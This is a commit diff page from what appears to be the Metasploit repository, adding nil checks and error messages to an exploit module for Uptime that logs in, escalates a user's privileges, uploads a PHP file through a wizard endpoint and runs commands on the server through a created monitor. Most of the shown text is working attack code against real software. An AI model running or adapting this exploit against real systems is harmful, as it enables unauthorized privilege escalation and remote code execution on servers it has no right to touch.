Skip to content

Commit 0213da3

Browse files
committed
Handle more NilClass bugs
1 parent 038cb66 commit 0213da3

File tree

1 file changed

+53
-8
lines changed

1 file changed

+53
-8
lines changed

modules/exploits/multi/http/uptime_file_upload_2.rb

Lines changed: 53 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,10 @@ def print_good(msg='')
7474
super("#{rhost}:#{rport} - #{msg}")
7575
end
7676

77+
def fail_with(status, msg)
78+
super(status, "#{rhost}:#{rport} - #{msg}")
79+
end
80+
7781
# Application Check
7882
def check
7983
res = send_request_cgi(
@@ -195,13 +199,17 @@ def exploit
195199
'method' => 'POST',
196200
'uri' => normalize_uri(target_uri.path, 'index.php'),
197201
'vars_post' => {
198-
'username' => datastore['USERNAME'],
199-
'password' => datastore['PASSWORD']
202+
'username' => datastore['USERNAME'],
203+
'password' => datastore['PASSWORD']
200204
})
201205

206+
unless res_auth
207+
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
208+
end
209+
202210
# Check OS
203211
phpfile_name = rand_text_alpha(10)
204-
if res_auth && res_auth.headers['Server'] =~ /Unix/
212+
if res_auth.headers['Server'] =~ /Unix/
205213
vprint_status('Found Linux installation - Setting appropriated PATH')
206214
phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')
207215
uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')
@@ -216,7 +224,7 @@ def exploit
216224
cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\""
217225
end
218226

219-
if res_auth && res_auth.get_cookies =~ /login=true/
227+
if res_auth.get_cookies =~ /login=true/
220228
cookie = Regexp.last_match(1)
221229
cookie_split = res_auth.get_cookies.split(';')
222230
vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
@@ -232,7 +240,17 @@ def exploit
232240
},
233241
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
234242
)
243+
244+
unless res_priv
245+
fail_with(Failure::Unknown, 'Connection timed out while getting userID.')
246+
end
247+
235248
matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/)
249+
250+
unless matchdata
251+
fail_with(Failure::Unknown, 'Unable to find userID for escalation')
252+
end
253+
236254
get_id = matchdata[0].gsub(/[^\d]/, '')
237255
vprint_status('Escalating privileges...')
238256

@@ -273,14 +291,22 @@ def exploit
273291
}
274292
)
275293

294+
unless res_priv_elev
295+
fail_with(Failure::Unknown, 'Connection timed out while escalating...')
296+
end
297+
276298
# Refresing perms
277-
vprint_status('Refresing perms...')
299+
vprint_status('Refreshing perms...')
278300
res_priv = send_request_cgi(
279301
'method' => 'GET',
280302
'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'),
281303
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
282304
)
283305

306+
unless res_priv
307+
fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')
308+
end
309+
284310
res_auth = send_request_cgi(
285311
'method' => 'POST',
286312
'uri' => normalize_uri(target_uri.path, 'index.php'),
@@ -289,15 +315,20 @@ def exploit
289315
'password' => datastore['PASSWORD']
290316
}
291317
)
292-
if res_auth && res_auth.get_cookies =~ /login=true/
318+
319+
unless res_auth
320+
fail_with(Failure::Unknown, 'Connection timed out while authenticating...')
321+
end
322+
323+
if res_auth.get_cookies =~ /login=true/
293324
cookie = Regexp.last_match(1)
294325
cookie_split = res_auth.get_cookies.split(';')
295326
vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
296327
print_good('Priv. Escalation success')
297328
end
298329

299330
# CREATING Linux EXEC Service
300-
if res_auth && res_auth.headers['Server'] =~ /Unix/
331+
if res_auth.headers['Server'] =~ /Unix/
301332
vprint_status('Creating Linux Monitor Code exec...')
302333
create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
303334

@@ -309,7 +340,7 @@ def exploit
309340

310341
# Upload file
311342
vprint_status('Uploading file...')
312-
send_request_cgi(
343+
up_res = send_request_cgi(
313344
'method' => 'POST',
314345
'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),
315346
'vars_post' => {
@@ -318,6 +349,10 @@ def exploit
318349
}
319350
)
320351

352+
unless up_res
353+
fail_with(Failure::Unknown, 'Connection timed out while uploading file.')
354+
end
355+
321356
vprint_status('Checking Uploaded file...')
322357
res_up_check = send_request_cgi(
323358
'method' => 'GET',
@@ -328,6 +363,7 @@ def exploit
328363
print_good("File found: #{phpfile_name}")
329364
else
330365
print_error('File not found')
366+
return
331367
end
332368

333369
# Get Monitor ID
@@ -345,7 +381,16 @@ def exploit
345381
}
346382
)
347383

384+
unless res_mon_id
385+
fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')
386+
end
387+
348388
matchdata = res_mon_id.body.match(/id=?[^>]*>/)
389+
390+
unless matchdata
391+
fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')
392+
end
393+
349394
mon_get_id = matchdata[0].gsub(/[^\d]/, '')
350395
print_good("Monitor id aquired:#{mon_get_id}")
351396
# Executing monitor

0 commit comments

Comments
 (0)